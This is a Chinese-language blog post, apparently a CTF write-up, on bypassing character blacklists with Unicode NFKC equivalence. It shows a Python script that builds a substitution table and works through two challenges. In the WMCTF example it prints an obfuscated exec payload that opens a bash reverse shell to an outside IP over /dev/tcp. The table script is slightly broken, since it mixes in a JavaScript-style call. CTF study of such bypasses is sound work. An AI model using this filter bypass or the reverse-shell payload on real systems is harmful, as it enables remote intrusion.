HacKerQWQ的博客空间

unicode等价替换

Word count: 890Reading time: 4 min
2020/11/17 Share

前置知识

Unicode设计的安全性
Unicode等价性浅谈

Unicode等价替换

标准等价和兼容等价

Unicode分为标准等价和兼容等价

  • 标准等价是指保持视觉上和功能上的等价。例如字符‘ü’和由‘u’及 ‘¨’所组成的序列是标准等价

  • 兼容等价更着重于单个字符,也就是我们下面要用到的unicode替换,如𝑓经过NFKC转换后兼容等价于f

    image-20210831140107200

四种转换形式

image-20210831140223137

利用方式

有时候防御方会ban掉敏感字符,这时候就可以利用unicode字符欺骗的方式绕过字符过滤

由于不同的脚本语言提供了不同的转换方式,因此不同的脚本语言有不同的绕过方式

  1. python使用NFKC的转换方式

    https://stackoverflow.com/questions/62256014/does-python-forbid-two-similarly-looking-unicode-identifiers

    image-20210831143102316

    python脚本生成替换表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import json
from unicodedata import normalize


def main():
debug = False
tables = {}
for i in range(1, 0x10000):
src = unichr(i)
dst = normalize('NFKC', src)[0]
try:
if ord(dst) < 128 and dst != src:
if debug:
print("%s (\\u%s) -- normalize --> %s (\\x%s)" % (
src, hex(i)[2:].rjust(4, '0'),
dst, hex(dst.charAt(0))[2:]
))
if dst in tables:
tables[dst].append(src)
else:
tables[dst] = [src]
except Exception as e:
print(repr(e))
with open("nfctable.txt", "wb") as fh:
json.dump(tables, fh)


if __name__ == '__main__':
main()
  1. 其他的脚本语言

    http://rosettacode.org/wiki/Unicode_variable_names#Rust

也可以到以下网站寻找可替换的unicode字符

例题

2021WMCTF Number

考点:unicode字符欺骗

6d5c876b-2522-41d3-97d4-755f226efb9a

当输入的number等于lucky_number时,返回You're so lucky其实没什么用,真正的考点在代码执行

参考T4rn师傅的文章:https://xz.aliyun.com/t/9271

将exec替换为其他unicode字符𝑒𝑥𝑒𝑐

image-20210831144442169

然后将其他字符转换为bytes相加

最终payload:

1
Name=𝑒𝑥𝑒𝑐(bytes([105])+bytes([109])+bytes([112])+bytes([111])+bytes([114])+bytes([116])+bytes([32])+bytes([111])+bytes([115])+bytes([59])+bytes([111])+bytes([115])+bytes([46])+bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])+bytes([40])+bytes([34])+bytes([98])+bytes([97])+bytes([115])+bytes([104])+bytes([32])+bytes([45])+bytes([99])+bytes([32])+bytes([39])+bytes([101])+bytes([120])+bytes([101])+bytes([99])+bytes([32])+bytes([98])+bytes([97])+bytes([115])+bytes([104])+bytes([32])+bytes([45])+bytes([105])+bytes([32])+bytes([38])+bytes([62])+bytes([47])+bytes([100])+bytes([101])+bytes([118])+bytes([47])+bytes([116])+bytes([99])+bytes([112])+bytes([47])+bytes([52])+bytes([50])+bytes([46])+bytes([49])+bytes([57])+bytes([50])+bytes([46])+bytes([49])+bytes([51])+bytes([54])+bytes([46])+bytes([49])+bytes([52])+bytes([56])+bytes([47])+bytes([49])+bytes([50])+bytes([51])+bytes([52])+bytes([32])+bytes([60])+bytes([38])+bytes([49])+bytes([39])+bytes([34])+bytes([41]))

1
Name=exec(b'import os;os.system("bash -c \'exec bash -i &>/dev/tcp/42.192.136.148/1234 <&1\'")')

[ASIS 2019]Unicorn shop


一个购买独角兽的界面,前面几个都买不了,显示如下

但是到购买第四个独角兽的时候显示不一样,只能输入一个字符

抓包也有提示

很多网站都是UTF-8编码,怎么到这就不一样了,再结合只能输入一个字符的错误提示,应该想到是编码安全的问题,通过构造相似的字符来绕过ssrf的waf是常用的手段,现在用到了这里
到这个网站https://www.compart.com/en/unicode/ 寻找合适的字符,搜索thousand随便找一个数值大于1337的,因为购买第四个独角兽需要1337,因此需要找Unicode大于1337的跟它比较,大于它才能成功


0x替换为%,url解码之后就会变回特殊字符

得到flag

blackhat 2019上面也有这个相似的议题

CATALOG
  1. 1. 前置知识
  2. 2. Unicode等价替换
    1. 2.1. 标准等价和兼容等价
    2. 2.2. 四种转换形式
    3. 2.3. 利用方式
  3. 3. 例题
    1. 3.1. 2021WMCTF Number
    2. 3.2. [ASIS 2019]Unicorn shop